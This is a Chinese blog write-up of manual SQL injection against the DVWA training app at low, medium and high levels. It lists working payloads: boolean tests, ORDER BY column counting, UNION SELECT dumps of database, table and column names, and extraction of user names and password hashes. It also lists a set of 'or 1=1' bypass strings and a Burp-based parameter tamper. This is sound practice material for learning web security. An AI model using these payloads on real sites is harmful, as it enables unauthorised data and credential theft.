记一次基于DVWA的SQL注入-低中高

这不就是目录吗

  • 首先记一次SQL手工注入流程
    • 1、判断是否存在注入(注入是字符型还是数字型)
    • 2、判断字段长度
    • 3、判断回显位置
    • 4、获取当前数据库
    • 5、获取数据库中的表
    • 6、获取表中的字段
    • 7、获取数据
    • DVWA-SQL Injection(low级别)
    • DVWA-SQL Injection(medium级别)
    • DVWA-SQL Injection(high级别)

首先记一次SQL手工注入流程

1、判断是否存在注入(注入是字符型还是数字型)

数字型:
	当输入的参数x为整型时,通常a.php中的sql语句大致如下:
	select * from  where id = x
	就可以使用经典的and 1=1 和 and 1=2来判断:
		(1)在url地址后输入and 1=1页面运行正常的话,进行下一步;
			e.g:xxx.com/a.php?..x and 1=1
		(2)把and 1=1修改为and 1=2 ,页面运行错误的话,就说明是数字型注入。
字符型:
	当输入的参数x为字符型时,通常a.php中的sql语句大致如下:
	select * from  where id = 'x'
	使用and '1'='1 和 and '1'='2来判断:
		(1)在url地址后输入and '1'='1页面运行正常的话,进行下一步;
			e.g:xxx.com/a.php?..x' and '1'='1
		(2)把and '1'='1修改为and '1'='2 ,页面运行错误的话,就说明是字符型注入。

2、判断字段长度

语句: order by 10(数字任意),根据页面返回的结果,来判断此站中的字段数。

3、判断回显位置

语句:union select 1,2,3,4,5,6#    联合查询

4、获取当前数据库

5、获取数据库中的表

6、获取表中的字段

7、获取数据

一般用于尝试的语句:
Ps:–+(减减加)可以用#替换,url 提交过程中 Url 编码后的#为%23
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+

DVWA-SQL Injection(low级别)

输入 1 and 1=1 有回显,输入1 and 1=2 有回显
输入 1’ and ‘1’=’1 有回显,输入1’and ‘1’=‘2 无回显
说明是字符型:
记一次基于DVWA的SQL注入-低中高_第1张图片
记一次基于DVWA的SQL注入-低中高_第2张图片
猜解字段数:
输入 1’ order by 1#和 1’ order by 2#时都返回正常,输入 1’ order by 3#时,返回错误,说明 users表中只有两个字段,数据为两列
记一次基于DVWA的SQL注入-低中高_第3张图片
在这里插入图片描述
确定显示位置:
输入 1’union select 1,2#
如下图说明显示位为1和2
记一次基于DVWA的SQL注入-低中高_第4张图片
爆库:
1’union select 1,database()#
记一次基于DVWA的SQL注入-低中高_第5张图片
爆表:
1‘union select 1,group_concat(table_name)from information_schema.tables where table_schema=’dvwa’#
记一次基于DVWA的SQL注入-低中高_第6张图片
爆表中的列:
1’union select 1,group_concat(column_name)from information_schema.columns where table_name=’users’#
记一次基于DVWA的SQL注入-低中高_第7张图片
爆表中的数据:
1’union select user,password from users#
记一次基于DVWA的SQL注入-低中高_第8张图片

DVWA-SQL Injection(medium级别)

记一次基于DVWA的SQL注入-低中高_第9张图片
没有输入框,可用burp抓包,修改参数
记一次基于DVWA的SQL注入-低中高_第10张图片
记一次基于DVWA的SQL注入-低中高_第11张图片
说明此 Sql 注入为数字型注入。
下面步骤和low级别一样,所以就不在赘述,只上图。
记一次基于DVWA的SQL注入-低中高_第12张图片
记一次基于DVWA的SQL注入-低中高_第13张图片
说明 users表中只有两个字段,数据为两列
记一次基于DVWA的SQL注入-低中高_第14张图片
记一次基于DVWA的SQL注入-低中高_第15张图片
记一次基于DVWA的SQL注入-低中高_第16张图片
记一次基于DVWA的SQL注入-低中高_第17张图片
因为中级不能明文传输dvwa和users,所以改为16进制
记一次基于DVWA的SQL注入-低中高_第18张图片

DVWA-SQL Injection(high级别)

步骤相同,只上图。
切记在两个页面都打开时不要先关掉本页面,否则…你可以试试(偷笑)
记一次基于DVWA的SQL注入-低中高_第19张图片
记一次基于DVWA的SQL注入-低中高_第20张图片
说明此 Sql 注入为字符型注入。
记一次基于DVWA的SQL注入-低中高_第21张图片
记一次基于DVWA的SQL注入-低中高_第22张图片
记一次基于DVWA的SQL注入-低中高_第23张图片
记一次基于DVWA的SQL注入-低中高_第24张图片
记一次基于DVWA的SQL注入-低中高_第25张图片
记一次基于DVWA的SQL注入-低中高_第26张图片

大佬们多多指教

你可能感兴趣的:(记一次基于DVWA的SQL注入-低中高)